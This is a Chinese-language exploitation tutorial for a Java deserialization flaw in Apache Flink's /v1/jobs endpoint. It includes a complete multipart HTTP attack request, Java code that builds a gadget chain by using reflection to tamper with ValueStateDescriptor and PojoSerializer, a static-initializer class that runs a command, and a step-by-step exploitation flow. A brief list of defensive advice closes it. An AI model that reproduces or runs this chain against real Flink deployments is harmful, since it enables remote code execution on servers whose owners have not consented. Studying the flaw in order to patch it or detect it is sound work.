Apache Flink反序列化漏洞分析
字数 1632 2025-08-10 08:28:55
Apache Flink反序列化漏洞分析与利用教学文档
0x00 漏洞概述
Apache Flink是一个开源的流处理框架,在其JobSubmitHandler组件中存在反序列化漏洞。攻击者可以通过构造恶意的序列化对象,在服务端执行任意代码。
0x01 漏洞入口分析
漏洞入口位于JobSubmitHandler中,具体路由为/v1/jobs。关键流程如下:
- 通过
request.getUploadedFiles()获取请求中的文件内容 - 调用
loadJobGraph方法进行处理 - 在
loadJobGraph中:- 使用
getPathAndAssertUpload方法根据requestBody.jobGraphFileName参数获取上传文件路径 - 使用Java的
ObjectInputStream读取文件内容 - 执行反序列化操作
- 使用
漏洞利用请求示例
POST /v1/jobs HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 3596
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="file_0"; filename="2.graph"
[payload.ser]
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="request"
{"jobGraphFileName":"2.graph"}
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
0x02 序列化构造分析
关键点1:PojoSerializer利用
PojoSerializer的deserialize函数会调用Class.forName,且第二个参数为true,这会执行类初始化并调用static代码块。
关键点2:StateDescriptor#readObject
在StateDescriptor#readObject方法中:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
boolean hasDefaultValue = in.readBoolean();
if (hasDefaultValue) {
TypeSerializer<T> serializer = (TypeSerializer) this.serializerAtomicReference.get();
// ...
try {
this.defaultValue = serializer.deserialize(inView);
这里可以通过修改serializer为PojoSerializer来实现恶意代码执行。
关键点3:AtomicReference利用
serializerAtomicReference是StateDescriptor中的一个AtomicReference对象,我们可以通过反射修改其内容:
AtomicReference<TypeSerializer> atomicReference = new AtomicReference<TypeSerializer>();
PojoSerializer pojoSerializer = new PojoSerializer(Object.class, new TypeSerializer[0], new Field[0], new ExecutionConfig());
atomicReference.set(pojoSerializer);
关键点4:ValueStateDescriptor构造
ValueStateDescriptor继承自StateDescriptor,是可序列化的对象。我们需要:
- 通过反射创建
ValueStateDescriptor实例 - 修改其
defaultValue和serializerAtomicReference字段
ValueStateDescriptor valueStateDescriptor = Exp1.createWithoutConstructor(ValueStateDescriptor.class);
// 设置defaultValue为恶意对象
Field field = StateDescriptor.class.getDeclaredField("defaultValue");
field.setAccessible(true);
field.set(valueStateDescriptor, new EvalClass());
// 设置serializerAtomicReference为我们的PojoSerializer
field = StateDescriptor.class.getDeclaredField("serializerAtomicReference");
field.setAccessible(true);
field.set(valueStateDescriptor, atomicReference);
构造细节说明
- 使用无参构造创建
ValueStateDescriptor是为了绕过StateDescriptor构造方法中的checkNotNull检查 defaultValue必须设置,因为反序列化时有hasDefaultValue检查hasDefaultValue标志位在序列化时根据defaultValue的值确定
0x03 利用注意事项
-
ClassLoader问题:
- 当前ClassLoader与启动位置相关
- 在
flink-1.11.1/bin目录下启动 - 通过
Class.forName加载的类只能加载一次
-
多次执行命令:
- 需要重新生成序列化对象
- 上传编译后的class文件
- 通过
POST /v1/jobs重新发起攻击
-
示例恶意类:
- 可以构造一个包含静态代码块的类,在初始化时执行命令
- 例如弹窗演示类:
public class EvalClass {
static {
try {
// 执行命令的代码
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x04 完整利用流程
- 编写恶意类并编译
- 构造序列化对象:
- 创建
PojoSerializer - 设置
AtomicReference - 创建并配置
ValueStateDescriptor
- 创建
- 将序列化对象写入文件
- 构造HTTP请求:
- 上传序列化文件
- 指定文件名参数
- 发送请求触发漏洞
0x05 防御建议
- 升级到修复版本
- 限制网络访问,只允许可信IP访问Flink Web UI
- 使用安全配置,禁用不必要的API
- 实施输入验证,特别是对序列化数据
0x06 总结
该漏洞利用Flink的反序列化机制,通过精心构造的序列化对象触发远程代码执行。关键在于理解PojoSerializer和StateDescriptor的交互机制,以及如何通过反射修改关键字段。利用时需要注意ClassLoader的限制和多次执行的实现方式。